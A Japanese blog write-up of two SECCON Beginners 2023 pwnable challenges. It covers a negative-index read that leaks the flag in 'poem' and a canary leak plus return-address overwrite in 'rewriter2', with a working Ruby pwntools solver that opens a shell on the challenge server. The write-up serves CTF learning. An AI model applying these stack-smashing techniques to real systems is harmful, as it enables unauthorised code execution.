6
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

SECCON Beginners 2023 Writeup pwnable(poem, rewriter2)

Posted at

はじめに

SECCON Beginners 2023に参加しました。

pwnableの問題はpoemしか解けず、rewriter2がwin関数を呼び出しはできたがセグフォになり、悔しい思いをしました。
なので、poemをどのように解いたかと、rewriter2を他のWriteupを読み解き直したのでそれも書きます。

なお、webの問題のWriteupも投稿しているので見てもらえると嬉しいです。

[pwnable] poem

以下のソースコードとコンパイル済みバイナリが渡され、flag変数の値を出力できればflagを獲得できる問題でした。

src.c
#include <stdio.h>
#include <unistd.h>

char *flag = "ctf4b{***CENSORED***}";
char *poem[] = {
    "In the depths of silence, the universe speaks.",
    "Raindrops dance on windows, nature's lullaby.",
    "Time weaves stories with the threads of existence.",
    "Hearts entwined, two souls become one symphony.",
    "A single candle's glow can conquer the darkest room.",
};

int main() {
  int n;
  printf("Number[0-4]: ");
  scanf("%d", &n);
  if (n < 5) {
    printf("%s\n", poem[n]);
  }
  return 0;
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(60);
}

動作としては入力されたインデックスの文字列を出力するものでした。

$ ./poem
Number[0-4]: 1
Raindrops dance on windows, nature's lullaby.

この入力には負数を入れることができるため、flagのアドレスに調整してあげると良さそうとわかりました。
試しにobjdumpで逆アセンブルをして中身をみてみたところ、

$ objdump -D -M intel ./poem
(snip)

0000000000004020 <flag>:
    4020:       08 20                   or     BYTE PTR [rax],ah
        ...

0000000000004040 <poem>:
    4040:       20 20                   and    BYTE PTR [rax],ah
    4042:       00 00                   add    BYTE PTR [rax],al
    4044:       00 00                   add    BYTE PTR [rax],al
    4046:       00 00                   add    BYTE PTR [rax],al
    4048:       50                      push   rax
    4049:       20 00                   and    BYTE PTR [rax],al
    404b:       00 00                   add    BYTE PTR [rax],al
    404d:       00 00                   add    BYTE PTR [rax],al
    404f:       00 80 20 00 00 00       add    BYTE PTR [rax+0x20],al
    4055:       00 00                   add    BYTE PTR [rax],al
    4057:       00 b8 20 00 00 00       add    BYTE PTR [rax+0x20],bh
    405d:       00 00                   add    BYTE PTR [rax],al
    405f:       00 e8                   add    al,ch
    4061:       20 00                   and    BYTE PTR [rax],al
    4063:       00 00                   add    BYTE PTR [rax],al
    4065:       00 00                   add    BYTE PTR [rax],al
        ...

(snip)

0x4040 - 0x4020 = 0x20バイト分ずらしてあげると良さそうとわかりました。
ポインタ型のサイズが8バイトだったので-4を入力してみると、、

$ nc poem.beginners.seccon.games 9000
Number[0-4]: -4
ctf4b{y0u_sh0uld_v3rify_the_int3g3r_v4lu3}

無事flagをゲットできました。

[pwnable] rewriter2

以下のソースコードとコンパイル済みバイナリが渡され、win関数を呼び出すことができるとシェルを奪取でき、flagが見れるというものでした。

src.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUF_SIZE 0x20
#define READ_SIZE 0x100

void __show_stack(void *stack);

int main() {
  char buf[BUF_SIZE];
  __show_stack(buf);

  printf("What's your name? ");
  read(0, buf, READ_SIZE);
  printf("Hello, %s\n", buf);

  __show_stack(buf);

  printf("How old are you? ");
  read(0, buf, READ_SIZE);
  puts("Thank you!");

  __show_stack(buf);
  return 0;
}

void win() {
  puts("Congratulations!");
  system("/bin/sh");
}

void __show_stack(void *stack) {
  unsigned long *ptr = stack;
  printf("\n %-19s| %-19s\n", "[Addr]", "[Value]");
  puts("====================+===================");
  for (int i = 0; i < 10; i++) {
    if (&ptr[i] == stack + BUF_SIZE + 0x8) {
      printf(" 0x%016lx | xxxxx hidden xxxxx  <- canary\n",
             (unsigned long)&ptr[i]);
      continue;
    }

    printf(" 0x%016lx | 0x%016lx ", (unsigned long)&ptr[i], ptr[i]);
    if (&ptr[i] == stack)
      printf(" <- buf");
    if (&ptr[i] == stack + BUF_SIZE + 0x10)
      printf(" <- saved rbp");
    if (&ptr[i] == stack + BUF_SIZE + 0x18)
      printf(" <- saved ret addr");
    puts("");
  }
  puts("");
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(60);
}

実行例は以下です。

$ ./rewriter2

 [Addr]             | [Value]
====================+===================
 0x00007fff27907bd0 | 0x0000000000000000  <- buf
 0x00007fff27907bd8 | 0x00007f0f7bee65a0
 0x00007fff27907be0 | 0x0000000000000000
 0x00007fff27907be8 | 0x00007f0f7bd8c8c5
 0x00007fff27907bf0 | 0x0000000000000000
 0x00007fff27907bf8 | xxxxx hidden xxxxx  <- canary
 0x00007fff27907c00 | 0x0000000000000001  <- saved rbp
 0x00007fff27907c08 | 0x00007f0f7bd30790  <- saved ret addr
 0x00007fff27907c10 | 0x0000000000000000
 0x00007fff27907c18 | 0x00000000004011f6

What's your name? aaaaaa
Hello, aaaaaa


 [Addr]             | [Value]
====================+===================
 0x00007fff27907bd0 | 0x000a616161616161  <- buf
 0x00007fff27907bd8 | 0x00007f0f7bee65a0
 0x00007fff27907be0 | 0x0000000000000000
 0x00007fff27907be8 | 0x00007f0f7bd8c8c5
 0x00007fff27907bf0 | 0x0000000000000000
 0x00007fff27907bf8 | xxxxx hidden xxxxx  <- canary
 0x00007fff27907c00 | 0x0000000000000001  <- saved rbp
 0x00007fff27907c08 | 0x00007f0f7bd30790  <- saved ret addr
 0x00007fff27907c10 | 0x0000000000000000
 0x00007fff27907c18 | 0x00000000004011f6

How old are you? 1111
Thank you!

 [Addr]             | [Value]
====================+===================
 0x00007fff27907bd0 | 0x000a610a31313131  <- buf
 0x00007fff27907bd8 | 0x00007f0f7bee65a0
 0x00007fff27907be0 | 0x0000000000000000
 0x00007fff27907be8 | 0x00007f0f7bd8c8c5
 0x00007fff27907bf0 | 0x0000000000000000
 0x00007fff27907bf8 | xxxxx hidden xxxxx  <- canary
 0x00007fff27907c00 | 0x0000000000000001  <- saved rbp
 0x00007fff27907c08 | 0x00007f0f7bd30790  <- saved ret addr
 0x00007fff27907c10 | 0x0000000000000000
 0x00007fff27907c18 | 0x00000000004011f6

バッファオーバーフローをしてあげると良さそうですが、実行結果にcanaryとある通りセキュリティ機構のSSP(Stack Smash Protection)が有効になっており、canaryを破壊せずにスタックを書き換えてあげる必要がありました。

そのため、

  • canaryの値を書き換えずに
  • retアドレスにwin関数のアドレスを仕込む

であげると良さそうです。

今回の問題では2回ユーザーの入力を受け付け、出力してくれるので、

  • 1回目
    • canaryの値を取得する
  • 2回目
    • canaryの値を書き換えずに、
    • retアドレスをwin関数のアドレスに書き換える

でできそうです。

まず、canaryの値を取得するところですが、canaryの先頭1バイトは0x00になっており、printfなどでcanaryが出力されてしまわないようになっています。

なので、8バイト * 5 + 1 = 41バイトの入力をしてあげることでcanaryの値が出力で返ってきます。

次に、retアドレスをwin関数のアドレスに書き換えるところですが、objdumpでwin関数のアドレスを確認しました。
なお、他のWriteupを見てるとchecksecでPIE(Position-Independent Executable)の部分を見てるようだったので、この方法はあまりよくなかったのかもしれません。

$ objdump -D -M intel ./rewriter2
(snip)

00000000004012c2 <win>:
  4012c2:       f3 0f 1e fa             endbr64
  4012c6:       55                      push   rbp
  4012c7:       48 89 e5                mov    rbp,rsp
  4012ca:       48 8d 3d 72 0d 00 00    lea    rdi,[rip+0xd72]        # 402043 <_IO_stdin_used+0x43>
  4012d1:       e8 ca fd ff ff          call   4010a0 <puts@plt>
  4012d6:       48 8d 3d 77 0d 00 00    lea    rdi,[rip+0xd77]        # 402054 <_IO_stdin_used+0x54>
  4012dd:       e8 de fd ff ff          call   4010c0 <system@plt>
  4012e2:       90                      nop
  4012e3:       5d                      pop    rbp
  4012e4:       c3                      ret

(snip)

アドレスもわかったので、完璧だ!と思ったら、win関数は呼ばれるけどセグフォになってしまい、解けずに終わってしまいました。

原因を探るためWriteupを読んでいると、

実はこのままだとsystem関数内のmovaps命令による例外で上手くsystem("/bin/sh")が実行されない。
このmovaps命令はスタックのサイズが0x10の倍数でアライメントされていない場合、例外を吐くようになっている。

https://greentea-hoge.hatenablog.com/entry/2023/06/04/141014 より引用)

ということらしいです。

なので、適当なret命令→win関数のように飛ばしてあげるようにソルバを書き直してみました。
実際に書き直したソルバは以下です。

solver.rb
# frozen_string_literal: true

require('pwn')

context.log_level = :debug

io = case ARGV[0]
     when 'r'
       Pwnlib::Tubes::Sock.new('rewriter2.beginners.seccon.games', 9001)
     else
       Pwnlib::Tubes::Process.new('./rewriter2')
     end

puts io.recvuntil("What's your name? ")
payload = 'a' * 0x8 * 5
payload += 'b'
io.send(payload)
puts io.recvuntil(payload)
canary_bytes = io.recvn(0x7).bytes
canary = [0x0, *canary_bytes].pack('C*')

puts io.recvuntil('How old are you? ')
payload = 'a' * 0x8 * 5
payload += canary
payload += 'a' * 0x8
payload += [0x401564].pack('q') # ret
payload += [0x4012c2].pack('q') # win
io.send(payload)

puts io.recvuntil('Congratulations!')
puts io.interact

そして、実行してみると、、

$ ruby solver.rb r

 [Addr]             | [Value]
====================+===================
 0x00007fff26b59280 | 0x00007f50fcec72e8  <- buf
 0x00007fff26b59288 | 0x00000000004014e0
 0x00007fff26b59290 | 0x0000000000000000
 0x00007fff26b59298 | 0x0000000000401110
 0x00007fff26b592a0 | 0x00007fff26b593a0
 0x00007fff26b592a8 | xxxxx hidden xxxxx  <- canary
 0x00007fff26b592b0 | 0x0000000000000000  <- saved rbp
 0x00007fff26b592b8 | 0x00007f50fccfa083  <- saved ret addr
 0x00007fff26b592c0 | 0x00007f50fcef9620
 0x00007fff26b592c8 | 0x00007fff26b593a8

What's your name?

Hello, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab

 [Addr]             | [Value]
====================+===================
 0x00007fff26b59280 | 0x6161616161616161  <- buf
 0x00007fff26b59288 | 0x6161616161616161
 0x00007fff26b59290 | 0x6161616161616161
 0x00007fff26b59298 | 0x6161616161616161
 0x00007fff26b592a0 | 0x6161616161616161
 0x00007fff26b592a8 | xxxxx hidden xxxxx  <- canary
 0x00007fff26b592b0 | 0x0000000000000000  <- saved rbp
 0x00007fff26b592b8 | 0x00007f50fccfa083  <- saved ret addr
 0x00007fff26b592c0 | 0x00007f50fcef9620
 0x00007fff26b592c8 | 0x00007fff26b593a8

How old are you?

Thank you!

 [Addr]             | [Value]
====================+===================
 0x00007fff26b59280 | 0x6161616161616161  <- buf
 0x00007fff26b59288 | 0x6161616161616161
 0x00007fff26b59290 | 0x6161616161616161
 0x00007fff26b59298 | 0x6161616161616161
 0x00007fff26b592a0 | 0x6161616161616161
 0x00007fff26b592a8 | xxxxx hidden xxxxx  <- canary
 0x00007fff26b592b0 | 0x6161616161616161  <- saved rbp
 0x00007fff26b592b8 | 0x0000000000401564  <- saved ret addr
 0x00007fff26b592c0 | 0x00000000004012c2
 0x00007fff26b592c8 | 0x00007fff26b593a8

Congratulations!
[INFO] Switching to interactive mode

> ls
chall
flag.txt
redir.sh

> cat flag.txt
ctf4b{y0u_c4n_l34k_c4n4ry_v4lu3}

ゲットできました!

さいごに

rewriter2はあと少しで解けそうな感じがしたので、来年似たような問題が出たら解けるようにがんばります。

Ref

6
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
6
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?